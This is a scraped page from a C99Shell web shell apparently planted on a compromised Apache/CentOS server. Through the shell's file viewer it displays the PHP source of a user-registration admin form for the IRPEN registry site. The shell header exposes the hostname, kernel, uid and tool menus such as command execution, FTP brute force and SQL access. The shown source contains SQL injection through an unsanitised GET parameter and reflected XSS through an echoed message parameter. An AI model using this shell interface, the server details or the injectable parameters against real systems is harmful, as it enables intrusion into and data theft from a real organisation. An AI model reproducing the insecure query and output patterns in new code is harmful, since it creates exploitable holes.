!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/usuario/   drwxr-xr-x
Free 9.36 GB of 93.48 GB (10.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     usuario_cad_bkp_.php (31.25 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
#############################################################################
    # Nome: usuario_cad.php                                                     #
    # System: Irpen                                                                #
    # Criado por: Breno Henrique Vivarelli                                        #
    # Empresa: Netnigro                                                            #
    # E-mail: breno@netnigro.com.br                                                #
    # Descrição: Formulário de Inclusão, alteração e inativação de usuários        #
    # Histórico:                                                                 #
    #    . 03/06/2008 - Breno Henrique Vivarelli                                    #
    #            Criação da Página                                                #
    #############################################################################
    
    // Includes
    
include("../../config/config.php");
    include(
INCLUDES "conexaoBD.php");    
    include(
INCLUDES "sentencas_sql.php");
    include(
INCLUDES "funcoes_uteis.php"); 
    include(
INCLUDES "valida_usuario.inc.php");
    
    
// Verifica se o usuário está alterado os seus próprios dados
    
$meus_dadosSN "N";                       
    
$cod_perfil   $_SESSION["cod_perfil"];
    
    
//Busca o perfil do usuário  
    
$sql_aux     " WHERE PFL_RowID = $cod_perfil ";
    
$sql_perfil  BUSCA_PERFIS $sql_aux;                
    
$rs_perfil   $conexao->query($sql_perfil);
    
$perfil      $rs_perfil->fetch_array();
    
$nome_perfil $perfil["PFL_Nome"];
    
    
//Código do usuário
    
if(isset($_GET["meus_dados"]))
    {
        
$cod_usuario_aux  $_SESSION["cod_usuario"];
        
$meus_dadosSN "S";
    }
    elseif(isset(
$_GET["cod_usuario"]))
    {
        
$cod_usuario_aux $_GET["cod_usuario"];
    }
    
    if(isset(
$cod_usuario_aux))
    {
        
$_SESSION["link_voltar"] = basename($_SERVER["HTTP_REFERER"]); 
        
$hddAcao    "U";                    
        
        
//Busca dados do usuário 
        
$sql_aux " WHERE CON_RowID = $cod_usuario_aux ";
        if(
$cod_perfil==2)
            
$sql_usuario LISTA_USUARIOS $sql_aux;   
        else    
        {
            
$sql_aux str_replace("CON","USU",$sql_aux);
            
$sql_usuario LISTA_USUARIOS_INTERNO $sql_aux;
        }        
        
$rs_usuario  $conexao->query($sql_usuario);
        
$usuario     $rs_usuario->fetch_array();
        
        
//Preenche campos do formulário com os valores do banco de dados
        
$cod_oficio      $usuario["CON_Oficios_DR"]; 
        
$cod_perfil_usu  $usuario["CON_Perfil_DR"];
        
$tabeliaoSN      $usuario["CON_Tabeliao"];
        
$nome            $usuario["CON_Descricao"];
        
$cpf             $usuario["CON_CPF"];
        
$email           $usuario["CON_Email"];
        
$ddd1            ltrim($usuario["CON_DDD"],0);
        
$num_telefone1   $usuario["CON_Fone"];
        
$ramal1          ValidaValor($usuario["CON_Ramal"]);
        
$ddd2            ValidaValor($usuario["CON_DDD2"]);
        
$num_telefone2   ValidaValor($usuario["CON_Fone2"]);
        
//$ramal2    = $usuario["USU_Ramal"];
        
$ddd_celular     ValidaValor($usuario["CON_DDDCelular"]);
        
$num_celular     ValidaValor($usuario["CON_Celular"]);
        
$data_nascimento ValidaValor(FormataData($usuario["CON_Nascimento"],'SCREEN'));
        
$ativoSN         $usuario["CON_AtivoSN"];  
        
$associadoSN     $usuario["CON_AssociadoSN"];
        
        
//Busca o perfil do usuário  
        
$sql_aux        " WHERE PFL_RowID = $cod_perfil_usu ";
        
$sql_perfil     BUSCA_PERFIS $sql_aux;           
        
$rs_perfil      $conexao->query($sql_perfil);
        
$perfil         $rs_perfil->fetch_array();
        
$perfil_usuario $perfil["PFL_Nome"];
        
        
//Busca código da cidade do ofício 
        
if($perfil_usuario == "Ofício")
        {
            
$sql_aux    " WHERE OFI_RowID = $cod_oficio ";
            
$sql_cidade BUSCA_OFICIOS_CIDADE $sql_aux;                
            
$rs_cidade  $conexao->query($sql_cidade);
            
$cidade     $rs_cidade->fetch_array();
            
$cod_cidade $cidade["CID_RowID"];   
        }          
    }
    else
    {
        
$hddAcao         "I";
        
$cod_usuario     "";         
        
$nome            "";
        
$cpf             "";
        
$email           "";
        
$ddd1            "";
        
$num_telefone1   "";
        
$ramal1          "";
        
$ddd2            "";
        
$num_telefone2   "";
        
//$ramal2        = "";
        
$ddd_celular     "";
        
$num_celular     "";
        
$data_nascimento "";
        
$ativoSN         "";
        
$associadoSN     "";   
    } 
    
    
//Título da página
    
if($meus_dadosSN == "S")
    {
        
$titulo_pagina "DADOS PESSOAIS";
    }
    else
    {
        
$titulo_pagina "CADASTRO DE USU&Aacute;RIOS";
    }                         
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <meta name="Description" content="IRPEN">
    <meta name="Keywords" content="">
    <meta name="resource-type" content="document">
    <meta name="classification" content="Internet">
    <meta name="robots" content="all">
    <meta name="rating" content="General">
    <meta name="Author" content="Ninart! Solucoes para Web.">
    <meta name="language" content="pt-br">
    <link rel="shortcut icon" href="imagens/favicon.gif"type="image/gif">   
    <link rel="stylesheet" href="<?=  HOST;?>css/irpen.css" type="text/css" />
    <link rel="stylesheet" media="all" type="text/css" href="<?=  HOST;?>css/menu_dropline.css" />
    <link type="text/css" href="<?=  HOST;?>css/jquery-ui/ui.all.css" rel="Stylesheet" />
    <!--[if IE]>
    <link rel="stylesheet" media="all" type="text/css" href="css/menu_dropline_ie.css" />
    <![endif]-->
    <!--[if lt IE 7]>
        <link rel="stylesheet" media="all" type="text/css" href="css/menu_dropline_ie6.css" />
    <![endif]-->  
    <title>IRPEN | Instituto de Registro Civil de Pessoas Naturais do Paraná - 2008</title>  
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery-1.2.6.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery.maskedinput-1.1.3.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery-ui.js"></script>   
    <script type="text/javascript" src="<?=  HOST;?>includes/ui.datepicker-pt-BR.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery.form.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/cpf.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/util.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/email.js"></script>
    <script type="text/javascript" src="usuario_cad.js"></script>
    <!-- <script src="scripts/delay.js" language="JavaScript"></script> -->
    <style type="text/css">
<!--
.style1 {
    color: #666666;
    font-weight: bold;
}
-->
</style>
</head>
<body>
    <div id="wrap">
    
        <?php include "../topo_gestao.php";?>

        <!-- content-wrap starts -->
        <div id="content-wrap">
            <table width="100%" border="0">
                <tr>
                <!--
                <td align="left" valign="top" width="20%">
                    <?php  
                        
//Menu do site
                        //include(DIR_ADMIN . "menu_gestao.php");
                    
?>
                </td>
                <td align="left" valign="top" bgcolor="#cccccc">&nbsp;
                </td>-->
                <td align="left" valign="top" bgcolor="#FFFFFF" width="1%">&nbsp;
                </td>
                <td align="left" valign="top">
                
                <table width="100%" border="0" >
                    <tr>
                    
                    <td align="left" valign="top">
                    
                    <h2><?=  $titulo_pagina;?></h2>
                    <div id="linha_h2" >
                    </div>
                    <form action="usuario_grava.php" method="post" name="frmCadastroUsuario" id="frmCadastroUsuario">
                        <input type="hidden" name="hddAcao" id="hddAcao" value="<?=  $hddAcao;?>">
                        <input type="hidden" name="hddUsuario" id="hddUsuario" value="<?=  $cod_usuario_aux;?>">
                        <input type="hidden" name="hddMeusDadosSN" id="hddMeusDadosSN" value="<?=  $meus_dadosSN;?>"> 
                        <table width="80%" border="0" align="center">
                            <!--<tr>
                                <td align="left" valign="top" colspan="2">
                                    <h4>CADASTRO DE USUÁRIOS</h4>
                                </td>
                            
                            </tr>-->
                            
                            <tr>
                                <td align="left" valign="top">
                                </td>
                            </tr>
                            <?php 
                                
if((isset($_GET["msg"])) && (!empty($_GET["msg"])))
                                {
                                    if((isset(
$_GET["erro"])) && ($_GET["erro"] == "S"))
                                    {
                                        
$class_msg "msg_erro";
                                    }   
                                    else
                                    {
                                        
$class_msg "msg_ok";
                                    }
                                    
?>
                                        <tr>
                                            <td align="left" colspan="2">
                                                <p class="<?=  $class_msg;?>"><?=  $_GET["msg"];?></p>
                                                <br />
                                            </td>
                                        </tr>
                                    <?php 
                                
}
                            
?>
                            <tr>
                                <td align="left" valign="top" colspan="2">
                                    <p class="aviso">
                                        <span class="obrigatorio">*</span> Campos Obrigatórios
                                    </p>
                                </td>
                            </tr>
                            <tr>
                                <td width="33%" align="right" valign="top">
                                    Perfil <span class="obrigatorio">*</span>:
                                </td>
                                <td width="67%" align="left" valign="top"> 
                                    <?php 
                                        
if((strcasecmp($nome_perfil,"ADMINISTRADOR") == 0) && ($meus_dadosSN == "N"))
                                        {
                                            
?>
                                                <select name="cboPerfil" id="cboPerfil">
                                                    <?php 
                                                          $sql_perfil 
LISTA_PERFIS;
                                                          
                                                          
$rs_perfil  $conexao->query($sql_perfil);
                                                          while(
$perfil $rs_perfil->fetch_array())
                                                          {
                                                            
$seleciona "";
                                                            if((!empty(
$cod_perfil_usu)) && ($cod_perfil_usu == $perfil['PFL_RowID']))
                                                            {
                                                                
$seleciona "selected"
                                                            }
                                                            if(
$perfil['PFL_RowID'] != 2) {
                                                              
?>
                                                                <option value="<?=  $perfil['PFL_RowID'];?><?=  $seleciona;?>>
                                                                    <?=  $perfil['PFL_Nome'];?>
                                                                </option>
                                                            <?php 
                                                            
}
                                                          }
                                                      
?>
                                                </select>
                                            <?php 
                                        

                                        else
                                        {
                                            
?>
                                                <input type="hidden" name="cboPerfil" id="cboPerfil" value="<?=  $cod_perfil;?>">
                                            <?php 
                                            
echo $nome_perfil;
                                        }
                                    
?> 
                                </td>
                            </tr>
                            <?php 
                                
if($meus_dadosSN == "N")
                                {
                                    
?>
                                        <tr id="cidades">
                                            <td width="33%" align="right" valign="top">
                                                Cidade <span class="obrigatorio">*</span>:
                                            </td>
                                            <td width="67%" align="left" valign="top">  
                                                <select name="cboCidade" id="cboCidade">
                                                    <option value="">Selecione...</option>
                                                        <?php         
                                                            $sql_cidade 
LISTA_CIDADES;

                                                            
$rs_cidade  $conexao->query($sql_cidade);
                                                            while(
$cidade $rs_cidade->fetch_array())
                                                            {
                                                                
$seleciona "";
                                                                if((!empty(
$cod_cidade)) && ($cod_cidade == $cidade['CID_RowID']))
                                                                {
                                                                    
$seleciona "selected"
                                                                }
                                                                
?>
                                                                    <option value="<?=  $cidade['CID_RowID'];?><?=  $seleciona;?>>
                                                                        <?=  $cidade['CID_Descricao'];?>
                                                                    </option>
                                                                <?php 
                                                            
}
                                                        
?>
                                                </select> 
                                            </td>
                                        </tr>      
                                        <tr id="oficios">
                                            <td width="33%" align="right" valign="top">
                                                Ofício <span class="obrigatorio">*</span>:
                                            </td>
                                            <td width="67%" align="left" valign="top">
                                                <div id="combo_oficios">
                                                    <select name="cboOficio" id="cboOficio" disabled>
                                                        <option value=""><< Selecione >></option>
                                                    </select>
                                                </div>
                                                <!-- <label>
                                                    <?php 
                                                    
if(isset($cod_cidade))
                                                    {             
                                                        
?>
                                                          <select name="cboOficio" id="cboOficio">
                                                              <?php 
                                                                  $sql_aux    
" WHERE OFI_Cidades_DR = $cod_cidade ";
                                                                  
$sql_oficio BUSCA_OFICIOS_CIDADE $sql_aux;      
                                                                  
                                                                  
$rs_oficio  $conexao->query($sql_oficio);
                                                                  while(
$oficio $rs_oficio->fetch_array())
                                                                  {
                                                                      
$seleciona "";
                                                                      if((!empty(
$cod_oficio)) && ($cod_oficio == $oficio['OFI_RowID']))
                                                                      {
                                                                          
$seleciona "selected"
                                                                      }
                                                                      
?>
                                                                          <option value="<?=  $oficio['OFI_RowID'];?>"><?=  $oficio['OFI_Descricao'];?></option>
                                                                      <?php 
                                                                  
}
                                                              
?>
                                                          </select>
                                                        <?php 
                                                    
}
                                                    else
                                                    {
                                                        
?>
                                                            <select name="cboOficio" id="cboOficio" disabled>
                                                              <option value=""><< Selecione >></option> 
                                                            </select>
                                                        <?php 
                                                    
}
                                                    
?>
                                                    </label> -->
                                            </td>
                                        </tr>
                                        <tr id="tabeliao">
                                            <td align="right" valign="top">
                                                Tabelião <span class="obrigatorio">*</span>:
                                            </td>
                                            <td align="left" valign="top">
                                                <input type="radio" name="rbtTabeliao" id="rbtTabeliao1" value="S" <?php   if((($hddAcao == "U") && ($tabeliaoSN == "S"))){ echo "checked";}?>/>
                                                <label for="rbtAtivo">
                                                Sim
                                                </label>
                                                <input type="radio" name="rbtTabeliao" id="rbtTabeliao2" value="N" <?php   if( ($hddAcao == "I") || ($hddAcao == "U") && ($tabeliaoSN == "N")){ echo "checked";}?> />
                                                <label for="rbtAtivo">
                                                Não
                                                </label>
                                            </td>
                                        </tr>
                                    <?php 
                                
}
                            
?>
                            <tr>
                                <td align="right" valign="top">
                                    Nome <span class="obrigatorio">*</span>:
                                </td>
                                <td align="left" valign="top">
                                    <input name="txtNome" type="text" id="txtNome" size="50" value="<?=  $nome;?>" />
                                </td>
                            </tr>
                            <tr>
                                <td align="right" valign="top">
                                    CPF:
                                </td>
                                <td align="left" valign="top">
                                    <input name="txtCPF" type="text" id="txtCPF" size="16" maxlength="14" value="<?=  $cpf;?>" />
                                </td>
                            </tr>
                            <tr>
                                <td align="right" valign="top">
                                    Email <span class="obrigatorio">*</span>:
                                </td>
                                <td align="left" valign="top">
                                    <input name="txtEmail" type="text" id="txtEmail" size="30" value="<?=  $email;?>" />
                                </td>
                            </tr>     
                            <tr>
                                <td align="right" valign="top">
                                    DDD <span class="obrigatorio">*</span> + Telefone 1 <span class="obrigatorio">*</span> + Ramal:
                                </td>
                                <td align="left" valign="top">
                                    <input name="txtDDD1" type="text" id="txtDDD1" size="2" maxlength="2" value="<?=  $ddd1;?>" />
                                    <input name="txtNumTelefone1" type="text" id="txtNumTelefone1" size="11" maxlength="9" value="<?=  $num_telefone1;?>" />
                                    <input name="txtRamal1" type="text" id="txtRamal1" size="10" value="<?=  $ramal1;?>" />
                                </td>
                            </tr>
                            <tr>
                                <td align="right" valign="top">
                                    DDD + Telefone 2 + Ramal:
                                </td>
                                <td align="left" valign="top">
                                    <input name="txtDDD2" type="text" id="txtDDD2" size="2" maxlength="2" value="<?=  $ddd2;?>" />
                                    <input name="txtNumTelefone2" type="text" id="txtNumTelefone2" size="11" maxlength="9" value="<?=  $num_telefone2;?>" />
                                    <input name="txtRamal2" type="text" id="txtRamal2" size="10" value="<?=  $ramal2;?>" />
                                </td>
                            </tr>
                            <tr>
                                <td align="right" valign="top">
                                    DDD + Telefone Celular:
                                </td>
                                <td align="left" valign="top">
                                    <input name="txtDDDCelular" type="text" id="txtDDDCelular" size="2" maxlength="2" value="<?=  $ddd_celular;?>" />
                                    <input name="txtNumCelular" type="text" id="txtNumCelular" size="11" maxlength="9" value="<?=  $num_celular;?>" />
                                </td>
                            </tr>
                            <tr>
                                <td align="right" valign="top">
                                    Data  de Nascimento <span class="obrigatorio">*</span>:
                                </td>
                                <td align="left" valign="top">
                                    <input name="txtDataNascimento" type="text" id="txtDataNascimento" size="12" maxlength="10" value="<?=  $data_nascimento;?>" />
                                </td>
                            </tr>
                            <?php 
                                
if($meus_dadosSN == 'N')
                                {
                                    
?>
                                        <tr id="associados">
                                            <td align="right" valign="top">
                                                Associado ao IRPEN <span class="obrigatorio">*</span>:
                                            </td>
                                            <td align="left" valign="top">
                                                <input type="radio" name="rbtAssociadoSN" id="rbtAssociadoS" value="S" <?php   if(($hddAcao == "I") || (($hddAcao == "U") && ($associadoSN == "S"))){ echo "checked";}?>/>
                                                <label for="rbtAssociadoS">
                                                Sim
                                                </label>
                                                <input type="radio" name="rbtAssociadoSN" id="rbtAssociadoN" value="N" <?php   if(($hddAcao == "U") && ($associadoSN == "N")){ echo "checked";}?> />
                                                <label for="rbtAssociadoN">
                                                Não
                                                </label>
                                            </td>
                                        </tr>
                                    <?php 
                                
}
                            
?>
                            <?php 
                                
if((1==2) and $meus_dadosSN == "S"/* || (strcasecmp($nome_perfil,"ADMINISTRADOR") == 0)) */
                                
{
                                    
?>
                                        <tr>
                                            <td>&nbsp;
                                                
                                            </td>
                                            <td align="left">
                                                <input name="ckbAlterarSenhaSN" id="ckbAlterarSenhaSN" type="checkbox" value="S" />
                                                <label for="ckbUsuarioSN">   
                                                    Deseja alterar a senha?
                                                </label>
                                            </td>
                                        </tr>
                                        <tr>
                                            <td align="right" valign="top">
                                                Senha <span class="obrigatorio">*</span>:
                                            </td>
                                            <td align="left" valign="top">
                                                <input name="txtSenha" type="password" id="txtSenha" size="20" />
                                            </td>
                                        </tr>
                                        <tr>
                                            <td align="right" valign="top">
                                                Redigite a Senha <span class="obrigatorio">*</span>:
                                            </td>
                                            <td align="left" valign="top">
                                                <input name="txtSenhaRepetida" type="password" id="txtSenhaRepetida" size="20" />
                                            </td>
                                        </tr>
                                    <?php 
                                
}
                            
?>
                            <tr>
                                <td align="left" valign="top">&nbsp;
                                </td>
                                <td align="left" valign="top">&nbsp;
                                </td>
                            </tr>
                            <tr>
                                <td align="center" valign="top" colspan="2">
                                    <label>
                                    <?php   
                                        
if($hddAcao == "I")
                                        {
                                            
$btnConfirmar "Confirmar";
                                        }
                                        else
                                        {
                                            
$btnConfirmar "Alterar";
                                            if((
strcasecmp($nome_perfil,"ADMINISTRADOR") == 0) && ($meus_dadosSN == "N"))
                                            {
                                                if(
$ativoSN == "S")
                                                {
                                                    
?>
                                                        <input type="submit" name="btnInativar" id="btnInativar" value="Inativar" />
                                                    <?php 
                                                
}
                                                else
                                                {
                                                    
?>
                                                        <input type="submit" name="btnAtivar" id="btnAtivar" value="Ativar" />
                                                    <?php 
                                                
}
                                            }
                                        }
                                    
?>
                                    <input type="submit" name="btnConfirmar" id="btnConfirmar" value="<?=  $btnConfirmar;?>" />
                                    <input type="reset" name="btnLimpar" id="btnLimpar" value="Limpar" />
                                    <input type="button" name="btnVoltar" id="btnVoltar" value="Voltar" onclick="javascript: history.go(-1);" />
                                    </label>
                                </td>
                            </tr>
                        </table>
                    </form>
                    </td>
                    
                    </tr>
                    
                </table>
                <br />
                </td>
                
                </tr>
                
            </table>
        </div>
        <div align="center">
            <strong><br />
            Rua Mal. Deodoro, 51 - Galeria Ritz - 18º Andar | Fone: (41) 3232-9811 | CEP 80.020-905 - Curitiba - Paraná</strong>
            <!-- content-wrap ends-->
        </div>
        <!-- footer starts -->
        <div id="footer-wrap">
        </div>
        <div id="rodape">
        </div>
    </div>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0086 ]--